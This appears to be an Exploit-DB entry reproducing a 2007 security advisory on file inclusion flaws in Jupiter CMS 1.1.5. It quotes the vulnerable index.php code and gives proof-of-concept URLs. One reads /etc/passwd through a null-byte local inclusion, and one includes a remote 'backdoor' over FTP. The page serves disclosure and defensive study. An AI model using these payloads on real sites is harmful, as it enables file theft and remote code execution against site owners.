Jupiter CMS 1.1.5 Multiple Vulnerabilities

vendor:

Jupiter CMS

by:

DarkFig

N/A

CVSS

HIGH

Local/Remote File Inclusion

CWE

Product Name: Jupiter CMS

Affected Version From: 1.1.2005

Affected Version To: 1.1.2005

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Jupiter CMS 1.1.5 Multiple Vulnerabilities

The script 'index.php' in Jupiter CMS 1.1.5 allows local file inclusion if magic_quotes_gpc is set to Off, and remote file inclusion if PHP version is >= 5.0.0 and allow_url_fopen is set to On. The 'n' parameter in 'index.php' is not properly filtered, allowing an attacker to include arbitrary files. A null byte char is required for local file inclusion. Simple Proof of Concept (PoC): LFI: http://<host><path>/index.php?n=/etc/passwd%00 RFI: http://<host><path>/index.php?n=ftp://user:password@example.com/backdoor

Mitigation:

Source

Exploit-DB raw data:

Title:          Jupiter CMS 1.1.5 Multiple Vulnerabilities
Advisory ID:    12070214
Risk level:     High
Author:         DarkFig <gmdarkfig@gmail.com>
URL:            http://www.acid-root.new.fr/advisories/12070214.txt

Risk level: High
Summary:    Local/Remote File Inclusion
Conditions: LFI: magic_quotes_gpc = Off
            RFI: PHP >= 5.0.0, allow_url_fopen = On

The script "index.php" contains the following code:

if(isset($n))
{
  if(file_exists("$n.php"))
  {
    if(strpos($n, "../") !== false) header("location: $PHP_SELF?i=error");
    else include("$n.php");
  }
  elseif(!file_exists("$n.php")) header("location: $PHP_SELF?i=error");
}

The "n" parameter isn't properly filtered, this can lead to file inclusion.
Local file inclusion will work if magic_quotes_gpc=Off, the null byte char \x00
is required. Remote file inclusion will work if the server is running on PHP >= 5.
In this version, the file_exists() function can be used with some URL wrappers,
you can use ftp:// for example. Simple poc:

LFI: http://<host><path>/index.php?n=/etc/passwd%00
RFI: http://<host><path>/index.php?n=ftp://user:password@example.com/backdoor

# milw0rm.com [2007-02-14]